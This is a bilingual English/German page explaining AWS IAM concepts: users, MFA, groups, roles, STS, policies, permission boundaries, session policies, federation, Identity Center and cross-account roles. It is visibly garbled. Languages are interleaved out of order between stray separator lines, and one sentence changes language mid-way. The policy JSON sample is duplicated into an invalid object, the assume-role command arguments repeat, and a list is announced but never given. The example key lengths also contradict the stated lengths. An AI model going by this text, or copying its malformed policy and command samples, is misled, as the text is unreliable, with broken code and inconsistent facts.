- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
|
||||
- **Access Control** - The method and process of how access is granted to a secure resource
|
||||
- **Authentifizierung** - Prozess der Definition einer Identität und der Überprüfung dieser Identität. Dieser Prozess kann unterteilt werden in: Identifikation und Verifizierung.
|
||||
- **Autorisierung** - Bestimmt, auf was eine Identität innerhalb eines Systems zugreifen kann, nachdem sie authentifiziert wurde.
|
||||
- **Zugriffskontrolle** - Die Methode und der Prozess, wie der Zugriff auf eine sichere Ressource gewährt wird.
|
||||
|
||||
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
|
||||
IAM kann durch seine Fähigkeit definiert werden, die Authentifizierungs-, Autorisierungs- und Zugriffskontrollmechanismen von Identitäten zu Ihren Ressourcen innerhalb Ihres AWS-Kontos zu verwalten, zu steuern und zu regeln.
|
||||
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
### [AWS-Konto Root-Benutzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
|
||||
Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzelnen Anmeldeidentität, die **vollständigen Zugriff auf alle** AWS-Dienste und -Ressourcen im Konto hat. Dies ist der AWS-Konto _**Root-Benutzer**_ und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen.
|
||||
|
||||
Note that a new **admin user** will have **less permissions that the root user**.
|
||||
Beachten Sie, dass ein neuer **Admin-Benutzer** **weniger Berechtigungen als der Root-Benutzer** hat.
|
||||
|
||||
From a security point of view, it's recommended to create other users and avoid using this one.
|
||||
Aus sicherheitstechnischer Sicht wird empfohlen, andere Benutzer zu erstellen und diesen zu vermeiden.
|
||||
|
||||
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
### [IAM-Benutzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
|
||||
Ein IAM _Benutzer_ ist eine Entität, die Sie in AWS erstellen, um **die Person oder Anwendung** darzustellen, die sie verwendet, um **mit AWS zu interagieren**. Ein Benutzer in AWS besteht aus einem Namen und Anmeldeinformationen (Passwort und bis zu zwei Zugriffsschlüssel).
|
||||
|
||||
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
|
||||
Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Gruppe von Benutzern** machen, die geeignete Berechtigungspolicen angehängt hat (empfohlen), oder indem Sie **direkt Richtlinien** an den Benutzer anhängen.
|
||||
|
||||
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Benutzer können **MFA aktiviert haben, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff der API-Schlüssel eines Benutzers mit MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass zur Durchführung bestimmter Aktionen MFA vorhanden sein muss (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
|
||||
- **Zugriffsschlüssel-ID**: 20 zufällige Großbuchstaben-Ziffern wie AKHDNAPO86BSHKDIRYT
|
||||
- **Geheime Zugriffsschlüssel-ID**: 40 zufällige Groß- und Kleinbuchstaben: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Es ist nicht möglich, verlorene geheime Zugriffsschlüssel-IDs wiederherzustellen).
|
||||
|
||||
Whenever you need to **change the Access Key** this is the process you should follow:\
|
||||
Wann immer Sie den **Zugriffsschlüssel ändern** müssen, sollten Sie diesen Prozess befolgen:\
|
||||
&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
|
||||
|
||||
### MFA - Multi Factor Authentication
|
||||
### MFA - Multi-Faktor-Authentifizierung
|
||||
|
||||
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
|
||||
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
|
||||
Es wird verwendet, um **einen zusätzlichen Faktor für die Authentifizierung** zusätzlich zu Ihren bestehenden Methoden, wie Passwort, zu erstellen und somit ein mehrstufiges Authentifizierungsniveau zu schaffen.\
|
||||
Sie können eine **kostenlose virtuelle Anwendung oder ein physisches Gerät** verwenden. Sie können Apps wie Google Authenticator kostenlos verwenden, um ein MFA in AWS zu aktivieren.
|
||||
|
||||
Policies with MFA conditions can be attached to the following:
|
||||
Richtlinien mit MFA-Bedingungen können an Folgendes angehängt werden:
|
||||
|
||||
- An IAM user or group
|
||||
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
|
||||
- The trust policy of an IAM role that can be assumed by a user
|
||||
|
||||
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
|
||||
Note that **`AssumeRole` credentials don't contain this information**.
|
||||
- Ein IAM-Benutzer oder eine Gruppe
|
||||
- Eine Ressource wie einen Amazon S3-Bucket, eine Amazon SQS-Warteschlange oder ein Amazon SNS-Thema
|
||||
- Die Vertrauensrichtlinie einer IAM-Rolle, die von einem Benutzer übernommen werden kann
|
||||
|
||||
Wenn Sie über die CLI auf eine Ressource zugreifen möchten, die **MFA überprüft**, müssen Sie **`GetSessionToken`** aufrufen. Das gibt Ihnen ein Token mit Informationen über MFA.\
|
||||
Beachten Sie, dass **`AssumeRole`-Anmeldeinformationen diese Informationen nicht enthalten**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
As [**hier angegeben**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), gibt es viele verschiedene Fälle, in denen **MFA nicht verwendet werden kann**.
|
||||
|
||||
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
|
||||
### [IAM-Benutzergruppen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
Eine IAM [Benutzergruppe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ist eine Möglichkeit, **Richtlinien gleichzeitig mehreren Benutzern zuzuordnen**, was die Verwaltung der Berechtigungen für diese Benutzer erleichtern kann. **Rollen und Gruppen können kein Teil einer Gruppe sein**.
|
||||
|
||||
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
|
||||
Sie können eine **identitätsbasierte Richtlinie an eine Benutzergruppe anhängen**, sodass alle **Benutzer** in der Benutzergruppe **die Berechtigungen der Richtlinie erhalten**. Sie **können** eine **Benutzergruppe** nicht als **`Principal`** in einer **Richtlinie** (wie einer ressourcenbasierten Richtlinie) identifizieren, da Gruppen sich auf Berechtigungen beziehen, nicht auf Authentifizierung, und Principals authentifizierte IAM-Entitäten sind.
|
||||
|
||||
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
|
||||
Hier sind einige wichtige Merkmale von Benutzergruppen:
|
||||
|
||||
Here are some important characteristics of user groups:
|
||||
- Eine Benutzer **gruppe** kann **viele Benutzer enthalten**, und ein **Benutzer** kann **zu mehreren Gruppen gehören**.
|
||||
- **Benutzergruppen können nicht geschachtelt werden**; sie können nur Benutzer enthalten, keine anderen Benutzergruppen.
|
||||
- Es gibt **keine Standardbenutzergruppe, die automatisch alle Benutzer im AWS-Konto einschließt**. Wenn Sie eine solche Benutzergruppe haben möchten, müssen Sie sie erstellen und jeden neuen Benutzer ihr zuweisen.
|
||||
- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie unter [IAM- und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
|
||||
- **User groups can't be nested**; they can contain only users, not other user groups.
|
||||
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
|
||||
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
### [IAM-Rollen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
Eine IAM **Rolle** ist sehr **ähnlich** zu einem **Benutzer**, da sie eine **Identität mit Berechtigungspolitiken ist, die bestimmen, was** sie in AWS tun kann und was nicht. Eine Rolle **hat jedoch keine Anmeldeinformationen** (Passwort oder Zugriffsschlüssel), die mit ihr verbunden sind. Anstatt eindeutig mit einer Person verbunden zu sein, ist eine Rolle dazu gedacht, **von jedem, der sie benötigt (und genügend Berechtigungen hat), übernommen zu werden**. Ein **IAM-Benutzer kann eine Rolle übernehmen, um vorübergehend** andere Berechtigungen für eine bestimmte Aufgabe zu erhalten. Eine Rolle kann einem **[federierten Benutzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)** zugewiesen werden, der sich über einen externen Identitätsanbieter anstelle von IAM anmeldet.
|
||||
|
||||
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
|
||||
|
||||
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
|
||||
Eine IAM-Rolle besteht aus **zwei Arten von Richtlinien**: einer **Vertrauensrichtlinie**, die nicht leer sein kann und definiert, **wer die Rolle übernehmen kann**, und einer **Berechtigungsrichtlinie**, die nicht leer sein kann und definiert, **auf was sie zugreifen kann**.
|
||||
|
||||
#### AWS Security Token Service (STS)
|
||||
|
||||
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
|
||||
AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf Folgendes zugeschnitten:
|
||||
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
### [Temporäre Anmeldeinformationen in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
|
||||
**Temporäre Anmeldeinformationen werden hauptsächlich mit IAM-Rollen verwendet**, es gibt jedoch auch andere Verwendungen. Sie können temporäre Anmeldeinformationen anfordern, die über einen eingeschränkteren Satz von Berechtigungen verfügen als Ihr standardmäßiger IAM-Benutzer. Dies **verhindert**, dass Sie **versehentlich Aufgaben ausführen, die nicht erlaubt sind** durch die eingeschränkten Anmeldeinformationen. Ein Vorteil temporärer Anmeldeinformationen ist, dass sie automatisch nach einer festgelegten Zeit ablaufen. Sie haben die Kontrolle über die Dauer, für die die Anmeldeinformationen gültig sind.
|
||||
|
||||
### Policies
|
||||
### Richtlinien
|
||||
|
||||
#### Policy Permissions
|
||||
#### Richtlinienberechtigungen
|
||||
|
||||
Are used to assign permissions. There are 2 types:
|
||||
Werden verwendet, um Berechtigungen zuzuweisen. Es gibt 2 Arten:
|
||||
|
||||
- AWS managed policies (preconfigured by AWS)
|
||||
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
|
||||
|
||||
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
|
||||
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
|
||||
- AWS verwaltete Richtlinien (vorkonfiguriert von AWS)
|
||||
- Kundenverwaltete Richtlinien: Von Ihnen konfiguriert. Sie können Richtlinien basierend auf AWS verwalteten Richtlinien erstellen (eine von ihnen ändern und Ihre eigene erstellen), den Richtlinien-Generator verwenden (eine GUI-Ansicht, die Ihnen hilft, Berechtigungen zu gewähren und zu verweigern) oder Ihre eigenen schreiben.
|
||||
|
||||
Standardmäßig ist der Zugriff **verweigert**, der Zugriff wird gewährt, wenn eine explizite Rolle angegeben wurde.\
|
||||
Wenn **einzelne "Verweigerung" existiert, wird sie die "Erlauben" überschreiben**, mit Ausnahme von Anfragen, die die Root-Sicherheitsanmeldeinformationen des AWS-Kontos verwenden (die standardmäßig erlaubt sind).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
"Statement": [ //Main element, there can be more than 1 entry in this array
|
||||
{
|
||||
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
|
||||
"Effect": "Allow", //Allow or deny
|
||||
"Action": [ //Actions that will be allowed or denied
|
||||
"ec2:AttachVolume",
|
||||
"ec2:DetachVolume"
|
||||
],
|
||||
"Resource": [ //Resource the action and effect will be applied to
|
||||
"arn:aws:ec2:*:*:volume/*",
|
||||
"arn:aws:ec2:*:*:instance/*"
|
||||
],
|
||||
"Condition": { //Optional element that allow to control when the permission will be effective
|
||||
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Die [globalen Felder, die für Bedingungen in jedem Dienst verwendet werden können, sind hier dokumentiert](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
Die [spezifischen Felder, die für Bedingungen pro Dienst verwendet werden können, sind hier dokumentiert](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
#### Inline-Richtlinien
|
||||
|
||||
#### Inline Policies
|
||||
Diese Art von Richtlinien wird **direkt einem Benutzer, einer Gruppe oder einer Rolle zugewiesen**. Daher erscheinen sie nicht in der Richtlinienliste, da sie von niemand anderem verwendet werden können.\
|
||||
Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität, auf die sie angewendet wird, aufrechterhalten möchten**. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden beim Löschen dieser Identität über die AWS Management Console auch die in der Identität eingebetteten Richtlinien gelöscht. Das liegt daran, dass sie Teil der Hauptentität sind.
|
||||
|
||||
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
|
||||
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
|
||||
#### Ressourcen-Bucket-Richtlinien
|
||||
|
||||
#### Resource Bucket Policies
|
||||
Dies sind **Richtlinien**, die in **Ressourcen** definiert werden können. **Nicht alle Ressourcen von AWS unterstützen sie**.
|
||||
|
||||
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
|
||||
Wenn eine Hauptentität keine ausdrückliche Ablehnung auf ihnen hat und eine Ressourcenrichtlinie ihnen Zugriff gewährt, dann sind sie erlaubt.
|
||||
|
||||
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
|
||||
### IAM-Grenzen
|
||||
|
||||
### IAM Boundaries
|
||||
IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, einzuschränken**. Auf diese Weise wird die Operation **fehlschlagen**, selbst wenn ein anderer Satz von Berechtigungen dem Benutzer durch eine **andere Richtlinie** gewährt wird.
|
||||
|
||||
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
|
||||
Eine Grenze ist einfach eine Richtlinie, die einem Benutzer angehängt ist und **das maximale Niveau der Berechtigungen angibt, die der Benutzer oder die Rolle haben kann**. Selbst wenn der Benutzer Administratorzugriff hat, wenn die Grenze angibt, dass er nur S· Buckets lesen kann, ist das das Maximum, was er tun kann.
|
||||
|
||||
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
|
||||
**Dies**, **SCPs** und **das Prinzip der minimalen Berechtigung** sind die Möglichkeiten, um zu kontrollieren, dass Benutzer nicht mehr Berechtigungen haben, als sie benötigen.
|
||||
|
||||
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
|
||||
### Sitzungsrichtlinien
|
||||
|
||||
### Session Policies
|
||||
|
||||
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
|
||||
|
||||
This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
|
||||
Eine Sitzungsrichtlinie ist eine **Richtlinie, die gesetzt wird, wenn eine Rolle angenommen wird**. Dies wird wie eine **IAM-Grenze für diese Sitzung** sein: Das bedeutet, dass die Sitzungsrichtlinie keine Berechtigungen gewährt, sondern **sie auf die in der Richtlinie angegebenen beschränkt** (wobei die maximalen Berechtigungen die sind, die die Rolle hat).
|
||||
|
||||
Dies ist nützlich für **Sicherheitsmaßnahmen**: Wenn ein Administrator eine sehr privilegierte Rolle annehmen möchte, könnte er die Berechtigungen auf nur die in der Sitzungsrichtlinie angegebenen beschränken, falls die Sitzung kompromittiert wird.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Note that by default **AWS könnte Sitzungspolitiken zu Sitzungen hinzufügen**, die aufgrund dritter Gründe generiert werden. Zum Beispiel, in [unauthentifizierten Cognito-Annahmen](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) wird AWS standardmäßig (unter Verwendung verbesserter Authentifizierung) **Sitzungscodes mit einer Sitzungspolitik** generieren, die die Dienste einschränkt, auf die die Sitzung zugreifen kann [**auf die folgende Liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
Daher, wenn Sie irgendwann den Fehler "... weil keine Sitzungspolitik dies erlaubt ..." erhalten und die Rolle Zugriff auf die Aktion hat, liegt es daran, dass **eine Sitzungspolitik dies verhindert**.
|
||||
|
||||
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
|
||||
### Identitätsföderation
|
||||
|
||||
### Identity Federation
|
||||
Die Identitätsföderation **ermöglicht Benutzern von Identitätsanbietern, die extern** zu AWS sind, sicher auf AWS-Ressourcen zuzugreifen, ohne AWS-Benutzerdaten von einem gültigen IAM-Benutzerkonto angeben zu müssen.\
|
||||
Ein Beispiel für einen Identitätsanbieter kann Ihr eigenes Unternehmens-**Microsoft Active Directory** (über **SAML**) oder **OpenID**-Dienste (wie **Google**) sein. Der föderierte Zugriff ermöglicht es dann den Benutzern innerhalb davon, auf AWS zuzugreifen.
|
||||
|
||||
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
|
||||
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
|
||||
Um dieses Vertrauen zu konfigurieren, wird ein **IAM-Identitätsanbieter (SAML oder OAuth)** generiert, der die **andere Plattform** **vertraut**. Dann wird mindestens eine **IAM-Rolle (vertrauend) dem Identitätsanbieter zugewiesen**. Wenn ein Benutzer von der vertrauenswürdigen Plattform auf AWS zugreift, wird er als die genannte Rolle zugreifen.
|
||||
|
||||
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
|
||||
|
||||
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
|
||||
Allerdings möchten Sie normalerweise **eine andere Rolle je nach Gruppe des Benutzers** auf der Drittanbieterplattform vergeben. Dann können mehrere **IAM-Rollen dem Drittanbieter-Identitätsanbieter vertrauen**, und die Drittanbieterplattform wird diejenige sein, die es Benutzern ermöglicht, eine Rolle oder die andere zu übernehmen.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### IAM Identity Center
|
||||
### IAM-Identitätszentrum
|
||||
|
||||
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
|
||||
AWS IAM-Identitätszentrum (Nachfolger von AWS Single Sign-On) erweitert die Möglichkeiten von AWS Identity and Access Management (IAM), um einen **zentralen Ort** bereitzustellen, der die **Verwaltung von Benutzern und deren Zugriff auf AWS**-Konten und Cloud-Anwendungen zusammenführt.
|
||||
|
||||
The login domain is going to be something like `<user_input>.awsapps.com`.
|
||||
Die Anmeldedomäne wird etwas sein wie `<user_input>.awsapps.com`.
|
||||
|
||||
To login users, there are 3 identity sources that can be used:
|
||||
Um Benutzer anzumelden, gibt es 3 Identitätsquellen, die verwendet werden können:
|
||||
|
||||
- Identity Center Directory: Regular AWS users
|
||||
- Active Directory: Supports different connectors
|
||||
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
|
||||
- Identitätszentrum-Verzeichnis: Reguläre AWS-Benutzer
|
||||
- Active Directory: Unterstützt verschiedene Connectoren
|
||||
- Externer Identitätsanbieter: Alle Benutzer und Gruppen stammen von einem externen Identitätsanbieter (IdP)
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
|
||||
Im einfachsten Fall des Identitätszentrum-Verzeichnisses wird das **Identitätszentrum eine Liste von Benutzern & Gruppen haben** und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen.
|
||||
|
||||
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
|
||||
Um einem Benutzer/einer Gruppe im Identitätszentrum Zugriff auf ein Konto zu gewähren, wird ein **SAML-Identitätsanbieter, der dem Identitätszentrum vertraut, erstellt**, und eine **Rolle, die dem Identitätsanbieter mit den angegebenen Richtlinien vertraut, wird im Zielkonto erstellt**.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
|
||||
Es ist möglich, **Berechtigungen über Inline-Richtlinien für Rollen, die über das IAM-Identitätszentrum erstellt wurden, zu gewähren**. Die in den Konten erstellten Rollen, die **Inline-Richtlinien im AWS-Identitätszentrum** erhalten, haben diese Berechtigungen in einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
|
||||
Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`** sehen, dass sie **die gleichen Berechtigungen haben**.
|
||||
|
||||
### Cross Account Trusts and Roles
|
||||
### Cross-Account-Vertrauen und Rollen
|
||||
|
||||
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
|
||||
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
|
||||
**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) erlauben, **auf sein Konto zuzugreifen**, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\
|
||||
Es wird empfohlen, **den Benutzer, der vertraut ist, anzugeben und nichts Allgemeines zu verwenden**, da sonst andere authentifizierte Benutzer wie föderierte Benutzer dieses Vertrauen ebenfalls missbrauchen können.
|
||||
|
||||
